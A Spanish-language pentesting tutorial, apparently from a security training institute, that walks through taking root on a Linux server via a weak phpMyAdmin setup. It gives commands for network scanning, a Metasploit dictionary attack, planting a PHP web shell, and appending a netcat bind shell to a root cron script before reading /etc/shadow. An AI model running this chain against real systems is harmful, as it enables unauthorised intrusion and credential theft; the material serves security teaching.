Como hackear base de datos MySQL. Pentesting a phpMyAdmin

Las implementaciones vulnerables siguen siendo uno de los principales vectores de ataque. En esta ocasión, los expertos en pentesting del Instituto Internacional de Seguridad Cibernética (IICS) presentan con ejemplos claros una de las formas de obtener un shell con derechos de superusuario en un sistema Linux remoto utilizando la configuración vulnerable de phpMyAdmin.

La explotación de instalaciones vulnerables de phpMyAdmin es un buen ejemplo de proyectos participantes en eventos Capture the Flag (CTF), aunque este enfoque también cuenta con aplicaciones adaptables a muchas otras aplicaciones web. Este artículo resultará útil tanto para los principiantes en el campo del pentesting como para aquellos con más experiencia en las pruebas de seguridad y ataques a phpMyAdmin.

¿Qué es phpMyAdmin?

Esta es una aplicación web para la administración de bases de datos MySQL locales empleada generalmente en proyectos de código abierto, por lo que algunos desarrolladores ni siquiera toman en cuenta la existencia de esta aplicación en sus sistemas. Además, los desarrolladores también usan phpMyAdmin en entornos de prueba, lo que eventualmente conduce a instalaciones no supervisadas en redes corporativas de forma continua.

Acorde a los expertos en pentesting, lo ideal es comenzar por buscar los sistemas en los que phpMyAdmin está instalado.

¿Cómo encontrar servidores con phpMyAdmin?

Por lo general, los recursos que utilizan esta aplicación se encuentran en el servidor Apache, aunque no se limita a esta solución. En ocasiones phpMyAdmin se instala en el directorio root, más frecuentemente en la carpeta /phpMyAdmin, accesible mediante http://server/phpMyAdmin. Dicho esto, buscaremos servidores web que ejecuten phpMyAdmin usando nuestro escáner de puertos Nmap favorito:

nmap -sT -sV -p80,443 192.168.1.0/24 -oA phpMyAdmin_scan

A continuación, en el archivo phpMyAdmin_scan.gnmap generado, busque servidores con puertos abiertos usando el siguiente comando:

grep -i "open" phpMyAdmin_scan.gnmap

Como resultado, encontramos varios servidores ejecutando Apache. Ahora necesita determinar dónde está instalado phpMyAdmin: en el directorio root o en la carpeta /phpMyAdmin.

Acceder a entornos con NAT

En este ejemplo, los especialistas en pentesting asumirán que todas las pruebas se realizan desde un sistema en un entorno NAT, lo que requiere de una conexión al servidor SSH detrás del firewall.

Dado que la conexión al entorno NAT es a través de SSH, reenviaremos el puerto 80 a través del túnel SSH para acceder al servidor web con la dirección IP 192.168.1.171. En la mayoría de los casos no necesitaremos reenvío de puertos, aunque los expertos en pentesting consideran pertinente contemplar este escenario; a continuación se muestra un diagrama referente a este enlace.

A continuación se muestran dos ejemplos de tunelización SSH a un servidor web objetivo.

Para Linux (cliente SSH):

ssh      pentest@ssh.servers.com -L 2222: 192.168.1.171: 80

Para Windows (cliente PuTTY):

Después de configurar el reenvío de puertos, podemos conectarnos a phpMyAdmin ingresando la dirección http://127.0.0.1:2222/phpmyadmin en nuestro navegador local.

Ataque de Diccionario

Una vez que se encuentra el servidor phpMyAdmin, el siguiente paso es verificar si se usa la cuenta predeterminada (usuario root sin contraseña). En este caso, se supone que la cuenta estándar no está en uso, aunque esto no tiene por qué ser un problema.

Es posible implementar el escenario más simple usando un diccionario para verificar las posibles combinaciones de nombre de usuario y contraseña, aunque lo más recomendable es comprobar si un ataque de diccionario podría bloquear la cuenta en cuestión. Hay muchos diccionarios excelentes, pero usaremos la lista a continuación:

Una lista de usuarios:

echo root >> /tmp/users.txt
echo admin >> /tmp/users.txt
echo user >> /tmp/users.txt

Lista de contraseñas

echo password >> /tmp/passwords.txt
echo Password >> /tmp/passwords.txt

Otras utilidades como Burp Intruder permiten desplegar ataques de diccionario contra phpMyAdmin y otras aplicaciones web. Por otra parte, los expertos en pentesting usan Metasploit, pues esta utilidad tiene un módulo incorporado para desplegar ataques de diccionario; esta herramienta está incluida por defecto en Kali Linux. A continuación se muestra una lista básica de comandos.

msfconsole
use auxiliary/scanner/http/phpMyAdmin_login
set rhosts 192.168.1.171
set USER_AS_PASS true
set targeturi /phpMyAdmin/index.php
set user_file /tmp/users.txt
set pass_file /tmp/passwords.txt
run

A continuación podemos apreciar una captura de pantalla de un ataque de diccionario exitoso.

Si después del ataque se encuentra una cuenta de usuario válida, puede iniciar sesión y continuar con el siguiente paso.

Cargar shells web al servidor usando phpMyAdmin

Una vez que encontramos la cuenta válida, el siguiente paso es encontrar una funcionalidad para ejecutar comandos del sistema operativo del servidor. MySQL reconoce funciones personalizadas que podrían resultar útiles en estos casos, sin embargo, cargaremos el shell web en el directorio root usando la función OUTFILE.

Recuerde que, en la mayoría de los entornos de varios niveles deberá escribir el shell web en el directorio root mediante inyección SQL no funcionará, ya que la base de datos y el servidor web se encuentran en ubicaciones diferentes. Recuerde también que, en algunos casos, es posible que la cuenta de servicio mysql no tenga acceso de escritura al directorio root o a la carpeta phpMyAdmin.

Haga clic en el botón “SQL” para abrir una ventana para ingresar consultas. Luego, ejecute la solicitud que se muestra en la figura a continuación para cargar un shell web escrito en PHP en el servidor, que se puede usar para ejecutar comandos en el sistema operativo bajo la cuenta de servicio Apache. Recuerde que es posible que phpMyAdmin no siempre esté instalado en el directorio /var/www/phpMyAdmin si está trabajando en entornos reales. A continuación se muestra un ejemplo en el contexto del trabajo con phpMyAdmin.

Ahora el shell web descargado está disponible en http://127.0.0.1:2222/phpMyAdmin/cmd.php y podemos intentar ejecutar comandos en el sistema operativo y realizar una escalada de privilegios. A continuación se muestran los comandos para comenzar:

whoami
ls –al
ls /

Después de completar todas las operaciones necesarias, no olvide quitar el shell web. Agregue autenticación para no crear agujeros de seguridad.

Es hora de buscar archivos y carpetas disponibles para escribir a todos los usuarios. La presencia de tales archivos y carpetas en el sistema no es necesariamente algo malo, pero si es posible ejecutarlo directa o indirectamente en nombre del superusuario, entonces existen posibilidades de escalada de privilegios, señalan los especialistas en pentesting.

A continuación se muestra un comando que se ejecuta a través de un shell cargado para buscar archivos y carpetas de este tipo:

find / -maxdepth 3 -type d -perm -777 2> / dev / null

Ahora podemos comenzar a examinar los archivos encontrados para su explotación, así como a buscar objetivos potencialmente vulnerables.

Operación del script rootcron.sh

En nuestro caso, uno de los directorios sobre los que podemos escribir es /scripts/. Esta carpeta parece contener un script para ejecutar trabajos cron como superusuario, aunque es una rara posibilidad.

La misma tecnología se puede aplicar a los scripts utilizados con el comando sudo. Hay muchas cosas que se pueden programar para realizar tareas, sin embargo, agregaremos una línea para iniciar el oyente de netcat como root y luego conectaremos a este oyente desde nuestra máquina.

ls /scripts
cat /scripts/rootcron.sh
echo "nc -l -p12345 -e /usr/bin/sh& 2>/dev/null" >> /scripts/rootcron.sh
cat /scripts/rootcron.sh

Debe esperar a que comience la tarea, después de lo cual puede conectarse al oyente en el puerto 12345 desde su sistema.

nc 192.168.1.171 12345
whoami
pwd
cat /etc/shadow
w

Si bien este es un escenario didáctico, en ocasiones la realidad supera las expectativas. Aunque estas situaciones son raras, se han visto casos en el pentesting de la vida real. Para escenarios que requieren un shell inverso en lugar de un shell de enlace, pentestmonkey.net proporciona varias opciones útiles. Puede encontrar en línea múltiples ejemplos del proceso de instalación del listener netcat.

Conclusión

En este artículo los expertos del IICS demuestran una de las formas de obtener un shell con derechos de superusuario en un sistema Linux remoto utilizando la configuración phpMyAdmin vulnerable y un script ejecutado como root que se puede ser editado. Si bien hay muchas formas de lograr la misma tarea, este ejemplo demuestra que los paneles de administración de aplicaciones web pueden ser objetivos bastante accesibles y, a menudo, son el punto de partida para ejecutar comandos del sistema operativo.